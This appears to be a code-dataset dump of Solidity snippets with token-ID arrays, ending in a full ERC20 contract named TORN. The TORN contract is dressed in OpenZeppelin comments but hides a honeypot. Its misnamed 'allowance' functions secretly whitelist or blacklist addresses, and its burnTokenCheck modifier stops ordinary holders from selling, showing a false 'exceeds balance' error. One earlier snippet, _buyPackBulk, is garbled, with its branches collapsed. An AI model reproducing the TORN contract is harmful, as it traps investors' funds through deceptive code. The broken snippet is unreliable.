maxBorrowAfterWithdraw = (vaults[msg.sender].collateralAmount - amount) * collateral.price / debt.price / reserve.collateralizationRatio * 100; maxBorrowAfterWithdraw *= debt.priceGranularity; maxBorrowAfterWithdraw /= collateral.priceGranularity; require(vaults[msg.sender].debtAmount <= maxBorrowAfterWithdraw, "CANNOT UNDERCOLLATERALIZE VAULT"); require(IERC20(collateral.tokenAddress).transfer(msg.sender, amount)); vaults[msg.sender].collateralAmount -= amount; reserve.collateralBalance -= amount; emit VaultWithdraw(msg.sender, amount); } }
Constructor*/* @dev the constructor sets the storage address and owner @param _storage is the TellorMaster address/
constructor(address payable _storage) public { tellorStorageAddress = _storage; _tellorm = TellorMaster(tellorStorageAddress); }
12,897,382
[ 1, 6293, 19, 225, 326, 3885, 1678, 326, 2502, 1758, 471, 3410, 225, 389, 5697, 353, 326, 29860, 280, 7786, 1758, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 12, 2867, 8843, 429, 389, 5697, 13, 1071, 288, 203, 3639, 9276, 280, 3245, 1887, 273, 389, 5697, 31, 203, 3639, 389, 88, 1165, 535, 273, 29860, 280, 7786, 12, 88, 1165, 280, 3245, 1887, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./EmblemDeckWithAuctions.sol"; import "./EmblemDeckWithTraits.sol"; contract EmblemDeck is EmblemDeckWithAuctions, EmblemDeckWithTraits, ReentrancyGuard { constructor() ERC721("Dark Emblem", "DECK") { _pause(); ceoAddress = payable(msg.sender); cooAddress = payable(msg.sender); cfoAddress = payable(msg.sender); // Create card 0 and give it to the contract so no one can have it _createCard(0, 0, 0, currentPackId, 0x00, uint256(0), address(this)); } event Received(address, uint256); receive() external payable { emit Received(msg.sender, msg.value); } function createPromoCard( uint32 packId, uint32 cardType, uint256 traits, address owner ) external onlyCOO { address cardOwner = owner; if (cardOwner == address(0)) { cardOwner = cooAddress; } _createCard(0, 0, 0, packId, cardType, traits, cardOwner); } function _sliceNumber( uint256 _n, uint256 _nbits, uint256 _offset ) private pure returns (uint256) { // mask is made by shifting left an offset number of times uint256 mask = uint256((2**_nbits) - 1) << _offset; // AND n with mask, and trim to max of _nbits bits return uint256((_n & mask) >> _offset); } function _getRandomFromEntropy( uint256 entropy, uint256 offset, uint256 min, uint256 max ) internal returns (uint32) { uint32 slice = uint32(_sliceNumber(entropy, 5, offset)); return uint32(min + (slice % (max - min + 1))); } function _buyCards( uint256 numCards, uint256 minHeroCards, address _cardOwner, uint256 boost ) internal nonReentrant { uint256 entropy = uint256( keccak256( abi.encodePacked( block.timestamp, block.number, msg.sender, randNonce ) ) ); uint256 numHeroCards = _getRandomFromEntropy( entropy, 0, minHeroCards, numCards ); uint256 salt = 1; for (uint256 i = 0; i < numCards; i++) { salt += i; uint32 cardType = 0; if (i < numHeroCards) { cardType = _getRandomFromEntropy( entropy, 5 * i, 0x01, maxCardTypes ); } salt += i; _createCard( 0, 0, 0, currentPackId, cardType, ascendScience.getRandomTraits(i, randNonce + salt, boost), _cardOwner ); } randNonce += salt; seasonPacksMinted = seasonPacksMinted + 1; } function _buyPackBulk(address cardOwner, uint256 numPacks) internal { uint256 maxBulkPacks = 5; // Make sure nothing crazy happens with numPacks require(numPacks <= maxBulkPacks, "Too many packs requested"); require(numPacks > 0, "Zero packs requested"); require( seasonPacksMinted < seasonPackLimit, "Cannot mint any more packs this season" ); uint32 boost = 0; if (numPacks >= maxBulkPacks) { boost = 100; } else if (numPacks >= 2) { boost = 40; } else { boost = 0; } _buyCards(currentCardsPerPack * numPacks, numPacks, cardOwner, boost); } function buyPack() external payable whenNotPaused { require(msg.value >= currentPackPrice); address cardOwner = msg.sender; (bool div, uint256 numPacks) = SafeMath.tryDiv( msg.value, currentPackPrice ); require(div, "Divide by 0 error"); _buyPackBulk(cardOwner, numPacks); } /// @dev buy packs using $DREM /// - You can buy a pack for someone else. /// - You can bulk-buy packs with amount function buyPackWithDrem(address to, uint256 amount) external whenNotPaused { require(to != address(0), "Cannot buy a pack for 0x0"); require( address(emblemTokenERC20) != address(0), "ERC20 Contract not set" ); // Transfer sale amount to seller bool sent = emblemTokenERC20.transferFrom( msg.sender, address(this), amount ); require(sent, "Token transfer failed"); _buyPackBulk(to, amount); } }
Make sure nothing crazy happens with numPacks
function _buyPackBulk(address cardOwner, uint256 numPacks) internal { uint256 maxBulkPacks = 5; require(numPacks <= maxBulkPacks, "Too many packs requested"); require(numPacks > 0, "Zero packs requested"); require( seasonPacksMinted < seasonPackLimit, "Cannot mint any more packs this season" ); uint32 boost = 0; if (numPacks >= maxBulkPacks) { boost = 100; boost = 40; boost = 0; } _buyCards(currentCardsPerPack * numPacks, numPacks, cardOwner, boost); }
13,090,582
[ 1, 6464, 3071, 5083, 276, 354, 21832, 10555, 598, 818, 4420, 87, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 70, 9835, 4420, 13112, 12, 2867, 5270, 5541, 16, 2254, 5034, 818, 4420, 87, 13, 2713, 288, 203, 3639, 2254, 5034, 943, 13112, 4420, 87, 273, 1381, 31, 203, 3639, 2583, 12, 2107, 4420, 87, 1648, 943, 13112, 4420, 87, 16, 315, 10703, 4906, 2298, 87, 3764, 8863, 203, 3639, 2583, 12, 2107, 4420, 87, 405, 374, 16, 315, 7170, 2298, 87, 3764, 8863, 203, 3639, 2583, 12, 203, 5411, 15874, 4420, 87, 49, 474, 329, 411, 15874, 4420, 3039, 16, 203, 5411, 315, 4515, 312, 474, 1281, 1898, 2298, 87, 333, 15874, 6, 203, 3639, 11272, 203, 203, 3639, 2254, 1578, 14994, 273, 374, 31, 203, 203, 3639, 309, 261, 2107, 4420, 87, 1545, 943, 13112, 4420, 87, 13, 288, 203, 5411, 14994, 273, 2130, 31, 203, 5411, 14994, 273, 8063, 31, 203, 5411, 14994, 273, 374, 31, 203, 3639, 289, 203, 203, 3639, 389, 70, 9835, 30492, 12, 2972, 30492, 2173, 4420, 380, 818, 4420, 87, 16, 818, 4420, 87, 16, 5270, 5541, 16, 14994, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract TORN is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to 